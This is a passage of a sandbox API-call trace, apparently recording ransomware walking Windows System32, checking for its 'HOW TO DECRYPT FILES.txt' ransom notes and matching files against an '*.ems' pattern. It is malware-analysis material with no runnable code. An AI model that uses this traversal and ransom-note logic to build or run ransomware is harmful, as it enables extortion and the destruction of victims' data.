lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.275] CloseHandle (hObject=0x8c) returned 1 [0144.276] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\en-US\\", lpString2="comrepl.exe.mui" | out: lpString1="C:\\Windows\\System32\\com\\en-US\\comrepl.exe.mui") returned="C:\\Windows\\System32\\com\\en-US\\comrepl.exe.mui" [0144.276] PathMatchSpecA (pszFile="C:\\Windows\\System32\\com\\en-US\\comrepl.exe.mui", pszSpec="*.ems") returned 0 [0144.276] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9af1ce, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9af1ce, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MigRegDB.exe.mui", cAlternateFileName="")) returned 1 [0144.276] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.276] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MigRegDB.exe.mui") returned -1 [0144.276] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MigRegDB.exe.mui") returned -1 [0144.276] lstrcmpiA (lpString1="", lpString2="MigRegDB.exe.mui") returned -1 [0144.276] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\en-US\\comrepl.exe.mui") returned="comrepl.exe.mui" [0144.276] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\com\\en-US\\" | out: lpString1="C:\\Windows\\System32\\com\\en-US\\") returned="C:\\Windows\\System32\\com\\en-US\\" [0144.276] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\com\\en-US\\" | out: pszPath="C:\\Windows\\System32\\com\\en-US\\") returned="" [0144.276] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\com\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\com\\en-US\\HOW TO DECRYPT FILES.txt" [0144.276] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\com\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.276] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\en-US\\", lpString2="MigRegDB.exe.mui" | out: lpString1="C:\\Windows\\System32\\com\\en-US\\MigRegDB.exe.mui") returned="C:\\Windows\\System32\\com\\en-US\\MigRegDB.exe.mui" [0144.276] PathMatchSpecA (pszFile="C:\\Windows\\System32\\com\\en-US\\MigRegDB.exe.mui", pszSpec="*.ems") returned 0 [0144.277] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9af1ce, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9af1ce, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MigRegDB.exe.mui", cAlternateFileName="")) returned 0 [0144.277] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.277] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6123c68, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd6123c68, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6c7f0a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MigRegDB.exe", cAlternateFileName="")) returned 1 [0144.277] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.277] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MigRegDB.exe") returned -1 [0144.277] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MigRegDB.exe") returned -1 [0144.277] lstrcmpiA (lpString1="", lpString2="MigRegDB.exe") returned -1 [0144.277] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\*.*") returned="*.*" [0144.277] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\com\\" | out: lpString1="C:\\Windows\\System32\\com\\") returned="C:\\Windows\\System32\\com\\" [0144.277] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\com\\" | out: pszPath="C:\\Windows\\System32\\com\\") returned="" [0144.277] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" [0144.277] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\how to decrypt files.txt")) returned 0x20 [0144.277] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="MigRegDB.exe" | out: lpString1="C:\\Windows\\System32\\com\\MigRegDB.exe") returned="C:\\Windows\\System32\\com\\MigRegDB.exe" [0144.277] PathMatchSpecA (pszFile="C:\\Windows\\System32\\com\\MigRegDB.exe", pszSpec="*.ems") returned 0 [0144.278] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a643d8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a643d8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xd2a1811a, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtsadmin.tlb", cAlternateFileName="")) returned 1 [0144.278] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.278] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mtsadmin.tlb") returned -1 [0144.278] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mtsadmin.tlb") returned -1 [0144.278] lstrcmpiA (lpString1="", lpString2="mtsadmin.tlb") returned -1 [0144.278] PathFindFileNameA (pszPath="C:\\Windows\\System32\\com\\MigRegDB.exe") returned="MigRegDB.exe" [0144.278] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\com\\" | out: lpString1="C:\\Windows\\System32\\com\\") returned="C:\\Windows\\System32\\com\\" [0144.278] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\com\\" | out: pszPath="C:\\Windows\\System32\\com\\") returned="" [0144.278] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" [0144.278] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\com\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\com\\how to decrypt files.txt")) returned 0x20 [0144.278] lstrcatA (in: lpString1="C:\\Windows\\System32\\com\\", lpString2="mtsadmin.tlb" | out: lpString1="C:\\Windows\\System32\\com\\mtsadmin.tlb") returned="C:\\Windows\\System32\\com\\mtsadmin.tlb" [0144.278] PathMatchSpecA (pszFile="C:\\Windows\\System32\\com\\mtsadmin.tlb", pszSpec="*.ems") returned 0 [0144.278] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a643d8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a643d8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xd2a1811a, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtsadmin.tlb", cAlternateFileName="")) returned 0 [0144.279] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0144.279] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0144.279] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.279] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comcat.dll") returned 1 [0144.279] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comcat.dll") returned 1 [0144.279] lstrcmpiA (lpString1="", lpString2="comcat.dll") returned -1 [0144.279] PathFindFileNameA (pszPath="C:\\Windows\\System32\\*.*") returned="*.*" [0144.279] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.279] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.279] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.279] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.279] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comcat.dll" | out: lpString1="C:\\Windows\\System32\\comcat.dll") returned="C:\\Windows\\System32\\comcat.dll" [0144.279] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comcat.dll", pszSpec="*.ems") returned 0 [0144.279] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x0, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0144.279] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.279] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comctl32.dll") returned 1 [0144.279] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comctl32.dll") returned 1 [0144.280] lstrcmpiA (lpString1="", lpString2="comctl32.dll") returned -1 [0144.280] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comcat.dll") returned="comcat.dll" [0144.280] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.280] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.280] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.280] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.280] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comctl32.dll" | out: lpString1="C:\\Windows\\System32\\comctl32.dll") returned="C:\\Windows\\System32\\comctl32.dll" [0144.280] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comctl32.dll", pszSpec="*.ems") returned 0 [0144.280] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0144.280] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.280] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comdlg32.dll") returned 1 [0144.280] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comdlg32.dll") returned 1 [0144.280] lstrcmpiA (lpString1="", lpString2="comdlg32.dll") returned -1 [0144.280] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comctl32.dll") returned="comctl32.dll" [0144.280] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.280] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.280] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.281] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.281] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comdlg32.dll" | out: lpString1="C:\\Windows\\System32\\comdlg32.dll") returned="C:\\Windows\\System32\\comdlg32.dll" [0144.281] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comdlg32.dll", pszSpec="*.ems") returned 0 [0144.281] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe628e6, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x7fe628e6, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xe51584fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="comexp.msc", cAlternateFileName="")) returned 1 [0144.281] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.281] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comexp.msc") returned 1 [0144.281] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comexp.msc") returned 1 [0144.281] lstrcmpiA (lpString1="", lpString2="comexp.msc") returned -1 [0144.281] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comdlg32.dll") returned="comdlg32.dll" [0144.281] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.281] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.281] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.281] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.281] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comexp.msc" | out: lpString1="C:\\Windows\\System32\\comexp.msc") returned="C:\\Windows\\System32\\comexp.msc" [0144.281] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comexp.msc", pszSpec="*.ems") returned 0 [0144.282] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2ed4183, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc2ed4183, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x679ae730, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0144.282] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.282] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="comp.exe") returned 1 [0144.282] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="comp.exe") returned 1 [0144.282] lstrcmpiA (lpString1="", lpString2="comp.exe") returned -1 [0144.282] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comexp.msc") returned="comexp.msc" [0144.282] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.282] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.282] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.282] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.282] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="comp.exe" | out: lpString1="C:\\Windows\\System32\\comp.exe") returned="C:\\Windows\\System32\\comp.exe" [0144.282] PathMatchSpecA (pszFile="C:\\Windows\\System32\\comp.exe", pszSpec="*.ems") returned 0 [0144.282] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc29eb444, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc29eb444, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x679ae730, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0144.283] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.283] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="compact.exe") returned 1 [0144.283] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="compact.exe") returned 1 [0144.283] lstrcmpiA (lpString1="", lpString2="compact.exe") returned -1 [0144.283] PathFindFileNameA (pszPath="C:\\Windows\\System32\\comp.exe") returned="comp.exe" [0144.283] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.283] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.283] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.283] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.283] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="compact.exe" | out: lpString1="C:\\Windows\\System32\\compact.exe") returned="C:\\Windows\\System32\\compact.exe" [0144.283] PathMatchSpecA (pszFile="C:\\Windows\\System32\\compact.exe", pszSpec="*.ems") returned 0 [0144.283] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15314852, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x15314852, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x5dffdd7c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1ba68, dwReserved0=0x0, dwReserved1=0x0, cFileName="compmgmt.msc", cAlternateFileName="")) returned 1 [0144.283] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.284] PathFindFileNameA (pszPath="C:\\Windows\\System32\\compact.exe") returned="compact.exe" [0144.284] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.284] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.284] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.284] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.284] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="compmgmt.msc" | out: lpString1="C:\\Windows\\System32\\compmgmt.msc") returned="C:\\Windows\\System32\\compmgmt.msc" [0144.284] PathMatchSpecA (pszFile="C:\\Windows\\System32\\compmgmt.msc", pszSpec="*.ems") returned 0 [0144.284] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0144.284] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.284] PathFindFileNameA (pszPath="C:\\Windows\\System32\\compmgmt.msc") returned="compmgmt.msc" [0144.285] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.285] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.285] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.285] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.285] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="compobj.dll" | out: lpString1="C:\\Windows\\System32\\compobj.dll") returned="C:\\Windows\\System32\\compobj.dll" [0144.285] PathMatchSpecA (pszFile="C:\\Windows\\System32\\compobj.dll", pszSpec="*.ems") returned 0 [0144.285] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x0, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0144.285] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.285] PathFindFileNameA (pszPath="C:\\Windows\\System32\\compobj.dll") returned="compobj.dll" [0144.285] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.285] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.285] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.286] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.286] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="compstui.dll" | out: lpString1="C:\\Windows\\System32\\compstui.dll") returned="C:\\Windows\\System32\\compstui.dll" [0144.286] PathMatchSpecA (pszFile="C:\\Windows\\System32\\compstui.dll", pszSpec="*.ems") returned 0 [0144.286] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57004b0a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x57004b0a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x679d5830, ftLastWriteTime.dwHighDateTime=0x1ca0420, 